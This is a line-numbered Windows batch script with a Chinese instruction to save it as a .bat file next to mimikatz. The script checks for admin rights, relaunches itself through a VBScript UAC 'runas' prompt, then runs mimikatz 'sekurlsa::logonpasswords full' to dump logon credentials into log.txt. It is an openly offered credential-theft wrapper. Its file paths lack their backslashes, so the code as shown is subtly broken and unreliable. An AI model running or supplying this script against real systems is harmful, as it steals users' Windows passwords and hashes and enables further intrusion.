1 @echo off 2 >nul 2>&1 "%SYSTEMROOT%system32cacls.exe" "%SYSTEMROOT%system32configsystem" 3 if '%errorlevel%' NEQ '0' ( 4 goto UACPrompt 5 ) else ( goto gotAdmin ) 6 :UACPrompt 7 echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%getadmin.vbs" 8 echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%getadmin.vbs" 9 "%temp%getadmin.vbs" 10 exit /B 11 :gotAdmin 12 if exist "%temp%getadmin.vbs" ( del "%temp%getadmin.vbs" ) 13 pushd "%CD%" 14 CD /D "%~dp0" 15 16 17 mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
将上面内容保存为.bat,和mimikatz放在一起